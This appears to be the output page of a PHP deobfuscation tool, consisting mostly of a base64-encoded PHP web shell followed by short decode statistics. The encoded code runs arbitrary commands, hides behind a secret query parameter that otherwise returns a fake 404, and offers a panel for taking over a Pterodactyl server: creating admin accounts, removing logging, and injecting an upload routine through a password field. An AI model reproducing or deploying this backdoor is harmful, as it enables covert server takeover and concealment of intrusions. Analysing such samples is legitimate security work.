Y3Rpb25FeGlzdChhcnJheSgiXHg3M1x4NzlcMTYzXHg3NFx4NjVcMTU1IiwgIlwxNTdceDYyXDEzN1wxNjNcMTY0XHg2MVwxNjJceDc0IiwgIlwxNTdcMTQyXHg1Zlx4NjdceDY1XHg3NFx4NWZceDYzXDE1N1x4NmVceDc0XHg2NVx4NmVceDc0XDE2MyIsICJceDZmXHg2Mlx4NWZcMTQ1XDE1NlwxNDRcMTM3XHg2M1x4NmNcMTQ1XDE0MVx4NmUiKSkpIHsgb2Jfc3RhcnQoKTsgc3lzdGVtKCRjbWQpOyAkb3V0cHV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOyB9IGVsc2UgeyBpZiAoYWxsRnVuY3Rpb25FeGlzdChhcnJheSgiXHg3MFx4NjFcMTYzXDE2M1wxNjRcMTUwXHg3Mlx4NzUiLCAiXHg2Zlx4NjJcMTM3XHg3M1wxNjRceDYxXHg3MlwxNjQiLCAiXHg2Zlx4NjJceDVmXDE0N1x4NjVcMTY0XHg1Zlx4NjNceDZmXHg2ZVx4NzRcMTQ1XHg2ZVwxNjRcMTYzIiwgIlwxNTdceDYyXHg1ZlwxNDVceDZlXHg2NFwxMzdcMTQzXHg2Y1x4NjVceDYxXHg2ZSIpKSkgeyBvYl9zdGFydCgpOyBwYXNzdGhydSgkY21kKTsgJG91dHB1dCA9IG9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgfSBlbHNlIHsgaWYgKGFsbEZ1bmN0aW9uRXhpc3QoYXJyYXkoIlwxNjBceDZmXHg3MFwxNDVcMTU2IiwgIlwxNDZcMTQ1XDE1N1wxNDYiLCAiXHg2Nlx4NzJceDY1XDE0MVx4NjQiLCAiXDE2MFwxNDNcMTU0XDE1N1wxNjNceDY1IikpKSB7ICRoYW5kbGUgPSBwb3BlbigkY21kLCAiXHg3MiIpOyB3aGlsZSAoIWZlb2YoJGhhbmRsZSkpIHsgJG91dHB1dCAuPSBmcmVhZCgkaGFuZGxlLCA0MDk2KTsgfSBwY2xvc2UoJGhhbmRsZSk7IH0gZWxzZSB7IGlmIChhbGxGdW5jdGlvbkV4aXN0KGFycmF5KCJcMTYwXHg3Mlx4NmZcMTQzXHg1ZlwxNTdcMTYwXHg2NVx4NmUiLCAiXHg3M1x4NzRceDcyXHg2NVx4NjFceDZkXDEzN1x4NjdceDY1XDE2NFx4NWZcMTQzXHg2ZlwxNTZceDc0XDE0NVx4NmVceDc0XDE2MyIsICJceDcwXHg3Mlx4NmZcMTQzXDEzN1x4NjNcMTU0XHg2ZlwxNjNceDY1IikpKSB7ICRoYW5kbGUgPSBwcm9jX29wZW4oJGNtZCwgYXJyYXkoMCA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXDE0NSIsICJcMTYyIiksIDEgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFwxNDUiLCAiXHg3NyIpKSwgJHBpcGVzKTsgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsgcHJvY19jbG9zZSgkaGFuZGxlKTsgfSB9IH0gfSB9IH0gcmV0dXJuICRvdXRwdXQ7IH0gZ290byByZVBBZzsgZnFpeTE6ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjxtZXRhIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlPTEibmFtZT0idmlld3BvcnQiPjxzdHlsZT5ib2R5LGh0bWx7bWFyZ2luOjA7cGFkZGluZzowO2JhY2tncm91bmQ6IzMzMztjb2xvcjojZWVlO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt3aWR0aDoxMDB2dztoZWlnaHQ6MTAwdmg7b3ZlcmZsb3c6aGlkZGVufTo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7Ym9yZGVyLXJhZGl1czo4cHg7YmFja2dyb3VuZC1jb2xvcjojMzUzNTM1fTo6LXdlYmtpdC1zY3JvbGxiYXJ7d2lkdGg6OHB4O2hlaWdodDo4cHh9Ojotd2Via2l0LXNjcm9sbGJhci10aHVtYntib3JkZXItcmFkaXVzOjhweDstd2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDZweCByZ2JhKDAsMCwwLC4zKTtiYWNrZ3JvdW5kLWNvbG9yOiNiY2JjYmN9I3NoZWxse2JhY2tncm91bmQ6IzIyMjtib3gtc2hhZG93OjAgMCA1cHggcmdiYSgwLDAsMCwuMyk7Zm9udC1zaXplOjEwcHQ7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbjthbGlnbi1pdGVtczpzdHJldGNoO21heC13aWR0aDpjYWxjKDEwMHZ3IC0gMiAqIHZhcigtLXNoZWxsLW1hcmdpbikpO21heC1oZWlnaHQ6Y2FsYygxMDB2aCAtIDIgKiB2YXIoLS1zaGVsbC1tYXJnaW4pKTtyZXNpemU6Ym90aDtvdmVyZmxvdzpoaWRkZW47d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTttYXJnaW46dmFyKC0tc2hlbGwtbWFyZ2luKSBhdXRvfSNidXR0b25ze3BhZGRpbmc6LjVyZW0gMXJlbSAwIDFyZW07ZGlzcGxheTpncmlkO2dyaWQtdGVtcGxhdGUtY29sdW1uczpyZXBlYXQoNixtaW5tYXgoMCwxZnIpKTtnYXA6LjVyZW0gMXJlbX0jYnV0dG9ucyBkaXZ7ZGlzcGxheTpncmlkO2dyaWQtdGVtcGxhdGUtY29sdW1uczpyZXBlYXQoMixtaW5tYXgoMCwxZnIpKTtnYXA6LjVyZW19I2J1dHRvbnMgYnV0dG9ue2JvcmRlcjp1bnNldDtiYWNrZ3JvdW5kLWNvbG9yOiMxMTE7Ym9yZGVyLXJhZGl1czo4cHg7Y29sb3I6I2ZmZjtjdXJzb3I6cG9pbnRlcjtmb250LXNpemU6MTZweDtmb250LXdlaWdodDo2MDA7bWluLWhlaWdodDozMnB4fSNidXR0b25zIGJ1dHRvbjpkaXNhYmxlZHtjdXJzb3I6ZGVmYXVsdDtvcGFjaXR5Oi41fSNidXR0b25zIGlucHV0OmRpc2FibGVke29wYWNpdHk6LjV9I2J1dHRvbnMgYnV0dG9uOmhvdmVyOm5vdCg6ZGlzYWJsZWQpe3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0ycHgpfSNidXR0b25zIGJ1dHRvbjphY3RpdmU6bm90KDpkaXNhYmxlZCl7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoMCl9I2J1dHRvbnMgaW5wdXR7bWluLWhlaWdodDozMnB4O3BhZGRpbmctbGVmdDoxMnB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMTExO2JvcmRlcjp1bnNldDtib3JkZXItcmFkaXVzOjhweDtvdXRsaW5lOjB9I2J1dHRvbnMgaW5wdXQ6Zm9jdXN7Ym9yZGVyLWNvbG9yOiMwMzY2ZDY7Ym94LXNoYWRvdzpyZ2JhKDMsMTAyLDIxNCwuMykgMCAwIDAgM3B4fSNzaGVsbC1jb250ZW50e292ZXJmbG93OmF1dG87cGFkZGluZzo1cHg7d2hpdGUtc3BhY2U6cHJlLXdyYXA7ZmxleC1ncm93OjF9OnJvb3R7LS1zaGVsbC1tYXJnaW46MjVweH1AbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpezpyb290ey0tc2hlbGwtbWFyZ2luOjUwcHghaW1wb3J0YW50fX1AbWVkaWEgKG1heC13aWR0aDo5OTFweCksKG1heC1oZWlnaHQ6NjAwcHgpezpyb290ey0tc2hlbGwtbWFyZ2luOjAhaW1wb3J0YW50fSNzaGVsbHtyZXNpemU6bm9uZX19QG1lZGlhIChtYXgtd2lkdGg6NzY3cHgpeyNidXR0b25ze2dyaWQtdGVtcGxhdGUtY29sdW1uczpyZXBlYXQoMixtaW5tYXgoMCwxZnIpKX0jc2hlbGwtaW5wdXR7ZmxleC1kaXJlY3Rpb246Y29sdW1ufX0uc2hlbGwtcHJvbXB0e2ZvbnQtd2VpZ2h0OjcwMDtjb2xvcjojNzVkZjBifS5zaGVsbC1wcm9tcHQ+c3Bhbntjb2xvcjojMWJjOWU3fSNzaGVsbC1pbnB1dHtkaXNwbGF5OmZsZXg7Ym94LXNoYWRvdzowIC0xcHggMCByZ2JhKDAsMCwwLC4zKTtib3JkZXItdG9wOnJnYmEoMjU1LDI1NSwyNTUsLjA1KSBzb2xpZCAxcHg7cGFkZGluZzoxMHB4IDB9I3NoZWxsLWlucHV0PmxhYmVse2ZsZXgtZ3JvdzowO2Rpc3BsYXk6YmxvY2s7cGFkZGluZzowIDVweDtoZWlnaHQ6MzBweDtsaW5lLWhlaWdodDozMHB4fSNzaGVsbC1pbnB1dCAjc2hlbGwtY21ke2hlaWdodDozMHB4O2xpbmUtaGVpZ2h0OjMwcHg7Ym9yZGVyOm5vbmU7YmFja2dyb3VuZDowIDA7Y29sb3I6I2VlZTtmb250LWZhbWlseTptb25vc3BhY2U7Zm9udC1zaXplOjEwcHQ7d2lkdGg6MTAwJTthbGlnbi1zZWxmOmNlbnRlcjtib3gtc2l6aW5nOmJvcmRlci1ib3h9I3NoZWxsLWlucHV0IGRpdntmbGV4LWdyb3c6MTthbGlnbi1pdGVtczpzdHJldGNofSNzaGVsbC1pbnB1dCBpbnB1dHtvdXRsaW5lOjB9PC9zdHlsZT48c2NyaXB0PnZhciBTSEVMTF9DT05GSUcgPTw/cGhwICBnb3RvIE51RjlmOyBldG5nVTogaWYgKCEkX0dFVFsiXHg2YVx4NjhceDRhXDY0XDEwNlwxNTNcMTA3XHgzMFx4NDlcMTMwXDY3XHgzNFwxMDNcNjVceDc5XHg3N1wxNTNcNjZcMTQ3XHgzN1x4MzVceDc4XDExMlwxNDdcMTQ2XHg1OFx4NThcMTUzXDE0MlwxMTUiXSB8fCBtZDUoJF9HRVRbIlwxNTJceDY4XHg0YVx4MzRceDQ2XDE1M1x4NDdceDMwXHg0OVwxMzBcNjdcNjRceDQzXHgzNVx4NzlcMTY3XHg2Ylx4MzZcMTQ3XHgzN1x4MzVcMTcwXDExMlwxNDdceDY2XHg1OFx4NThcMTUzXDE0Mlx4NGQiXSkgIT09ICJcNjJcNjRceDYxXHgzOVx4MzBcNjNcNjJceDY0XDcxXDY3XHg2MVx4NjRcMTQ0XDE0NFwxNDFceDM3XDY2XDE0Mlx4MzVceDMwXHgzNVwxNDNceDMwXHg2M1x4MzhceDM4XDcxXHgzNlwxNDFceDM0XHgzNlw2NiIpIHsgaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7IGRpZSgiXDEwNlwxNTFcMTU0XHg2NVx4MjBcMTU2XDE1N1wxNjRceDIwXHg2Nlx4NmZcMTY1XHg2ZVx4NjRceDJlXHhhIik7IH0gZ290byBDV2xNVTsga1F5akE6IGVjaG8gJF9HRVRbIlwxNTJceDY4XDExMlw2NFwxMDZcMTUzXDEwN1w2MFwxMTFcMTMwXHgzN1x4MzRceDQzXDY1XHg3OVwxNjdcMTUzXHgzNlwxNDdcNjdcNjVcMTcwXDExMlwxNDdceDY2XHg1OFx4NThceDZiXDE0Mlx4NGQiXTsgZ290byB4WFFmWjsgYUpnSzA6ID8+CicpLCB0cnVlKTsKICAgICAgICAgICAgICAgIHhoci5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgICAgICAgICAgICAgICB4aHIub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKHhoci5yZWFkeVN0YXRlID09PSA0ICYmIHhoci5zdGF0dXMgPT09IDIwMCkgewogICAgICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJlc3BvbnNlSnNvbiA9IEpTT04ucGFyc2UoeGhyLnJlc3BvbnNlVGV4dCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYWxsYmFjayhyZXNwb25zZUpzb24pOwogICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkVycm9yIHdoaWxlIHBhcnNpbmcgcmVzcG9uc2U6ICIgKyBlcnJvcik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9OwogICAgICAgICAgICAgICAgeGhyLnNlbmQoZ2V0UXVlcnlTdHJpbmcoKSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGRvY3VtZW50Lm9uY2xpY2sgPSBmdW5jdGlvbihldmVudCkgewogICAgICAgICAgICAgICAgZXZlbnQgPSBldmVudCB8fCB3aW5kb3cuZXZlbnQ7CiAgICAgICAgICAgICAgICB2YXIgc2VsZWN0aW9uID0gd2luZG93LmdldFNlbGVjdGlvbigpOwogICAgICAgICAgICAgICAgdmFyIHRhcmdldCA9IGV2ZW50LnRhcmdldCB8fCBldmVudC5zcmNFbGVtZW50OwoKICAgICAgICAgICAgICAgIGlmICh0YXJnZXQudGFnTmFtZSA9PT0gIlNFTEVDVCIpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH07CgogICAgICAgICAgICB3aW5kb3cub25sb2FkID0gZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaGVsbC1jbWQiKTsKICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2hlbGwtY29udGVudCIpOwogICAgICAgICAgICAgICAgdXBkYXRlQ3dkKCk7CiAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5mb2N1cygpOwogICAgICAgICAgICB9OwoKICAgICAgICAgICAgZnVuY3Rpb24gY2RQdGVyb2RhY3R5bCgpIHsKICAgICAgICAgICAgICAgIGZlYXR1cmVTaGVsbCgnY2QgLi4vLi4vLi4vLi4vLi4vLi4nKTsKCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY2QiKS5kaXNhYmxlZCA9IHRydWU7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibWFrZSIpLmRpc2FibGVkID0gZmFsc2U7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZGVsZXRlIikuZGlzYWJsZWQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJyZW1vdmUiKS5kaXNhYmxlZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImFkZCIpLmRpc2FibGVkID0gZmFsc2U7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYWRtaW4iKS5kaXNhYmxlZCA9IGZhbHNlOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBtYWtlQWNjb3VudCgpIHsKICAgICAgICAgICAgICAgIGZlYXR1cmVTaGVsbCgnZWNobyBcJ3llc1wnIHwgcGhwIGFydGlzYW4gcDp1c2VyOm1ha2UgLS1lbWFpbD15MDgwQG0xLnE4IC0tdXNlcm5hbWU9ODdvNSAtLW5hbWUtZmlyc3Q9ODdvNSAtLW5hbWUtbGFzdD04N281IC0tcGFzc3dvcmQ9JyArIGVuY29kZVVSSUNvbXBvbmVudCgnPD9waHAgIGdvdG8gQmFDTTc7IEwxalNIOiBmdW5jdGlvbiBmZWF0dXJlVXBsb2FkKCRwYXRoLCAkZmlsZSwgJGN3ZCkgeyBjaGRpcigkY3dkKTsgJGYgPSBAZm9wZW4oJHBhdGgsICJceDc3XDE0MiIpOyBpZiAoJGYgPT09IEZBTFNFKSB7IHJldHVybiBhcnJheSgiXDE2M1wxNjRceDY0XDE1N1x4NzVcMTY0IiA9PiBiYXNlNjRfZW5jb2RlKCJcMTExXDE1Nlx4NzZcMTQxXDE1NFwxNTFcMTQ0XDQwXDE2MFx4NjFcMTY0XHg2OFw0MFw1N1x4MjBceDZlXDE1N1x4MjBcMTY3XDE2MlwxNTFcMTY0XHg2NVw0MFwxNjBcMTQ1XDE2Mlx4NmRceDY5XHg3M1x4NzNceDY5XDE1N1x4NmVceDJlIiksICJcMTQzXHg3N1x4NjQiID0+IGJhc2U2NF9lbmNvZGUoZ2V0Y3dkKCkpKTsgfSBlbHNlIHsgZndyaXRlKCRmLCBiYXNlNjRfZGVjb2RlKCRmaWxlKSk7IGZjbG9zZSgkZik7IHJldHVybiBhcnJheSgiXHg3M1x4NzRcMTQ0XHg2ZlwxNjVcMTY0IiA9PiBiYXNlNjRfZW5jb2RlKCJceDQ0XHg2ZlwxNTZceDY1XDU2IiksICJcMTQzXDE2N1wxNDQiID0+IGJhc2U2NF9lbmNvZGUoZ2V0Y3dkKCkpKTsgfSB9IGdvdG8gdGZLZzk7IGRUR3dsOiA/PgonKSArICcmZnB3bkxsUExnRkxNcVBMelJQc0JVdEpBeEtCRFJ0PWFkbWluIiAyPiAvZGV2L251bGwnKTsKICAgICAgICAgICAgICAgIGF3YWl0IG5ldyBQcm9taXNlKChyZXNvbHZlKSA9PiBzZXRUaW1lb3V0KHJlc29sdmUsIDEwMDAgKiAxLjUpKTsKICAgICAgICAgICAgICAgIGZlYXR1cmVTaGVsbCgncGhwIGFydGlzYW4gM3pzNTY5MWcgLS11c2VyPScgKyBhZG1pbi52YWx1ZSk7CiAgICAgICAgICAgICAgICBhd2FpdCBuZXcgUHJvbWlzZSgocmVzb2x2ZSkgPT4gc2V0VGltZW91dChyZXNvbHZlLCAxMDAwICogMS41KSk7CiAgICAgICAgICAgICAgICBmZWF0dXJlU2hlbGwoJ3JtIGFwcC9Db25zb2xlL0NvbW1hbmRzL01ha2VBZG1pbi5waHAnKTsKICAgICAgICAgICAgfTwvc2NyaXB0PjwvaGVhZD48Ym9keT48ZGl2IGlkPSJzaGVsbCI+PGRpdiBpZD0iYnV0dG9ucyI+PGJ1dHRvbiBpZD0iY2Qib25jbGljaz0iY2RQdGVyb2RhY3R5bCgpIj5jZCBwdGVyb2RhY3R5bDwvYnV0dG9uPiA8YnV0dG9uIGlkPSJtYWtlIm9uY2xpY2s9Im1ha2VBY2NvdW50KCkiZGlzYWJsZWQ+bWFrZSBhY2NvdW50PC9idXR0b24+IDxidXR0b24gaWQ9ImRlbGV0ZSJvbmNsaWNrPSJkZWxldGVBY2NvdW50KCkiZGlzYWJsZWQ+ZGVsZXRlIGFjY291bnQ8L2J1dHRvbj4gPGJ1dHRvbiBpZD0icmVtb3ZlIm9uY2xpY2s9InJlbW92ZUxvZ2dpbmcoKSJkaXNhYmxlZD5yZW1vdmUgbG9nZ2luZzwvYnV0dG9uPiA8YnV0dG9uIGlkPSJhZGQib25jbGljaz0iYWRkTG9nZ2luZygpImRpc2FibGVkPmFkZCBsb2dnaW5nPC9idXR0b24+IDxpbnB1dCBpZD0iYWRtaW4ib25rZXlkb3duPSJfb25BZG1pbihldmVudCkiZGlzYWJsZWQgcGxhY2Vob2xkZXI9ImVtYWlsIGZvciBhZG1pbiI+PC9kaXY+PHByZSBpZD0ic2hlbGwtY29udGVudCI+PC9wcmU+PGRpdiBpZD0ic2hlbGwtaW5wdXQiPjxsYWJlbCBjbGFzcz0ic2hlbGwtcHJvbXB0ImZvcj0ic2hlbGwtY21kImlkPSJzaGVsbC1wcm9tcHQiPj8/PzwvbGFiZWw+PGRpdj48aW5wdXQgaWQ9InNoZWxsLWNtZCJvbmtleWRvd249Il9vblNoZWxsQ21kS2V5RG93bihldmVudCkibmFtZT0iY21kIj48L2Rpdj48L2Rpdj48L2Rpdj48L2JvZHk+PC9odG0='));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 22dcbc3a6891443d6323148286a76584
Eval Count 1
Decode Time 118 ms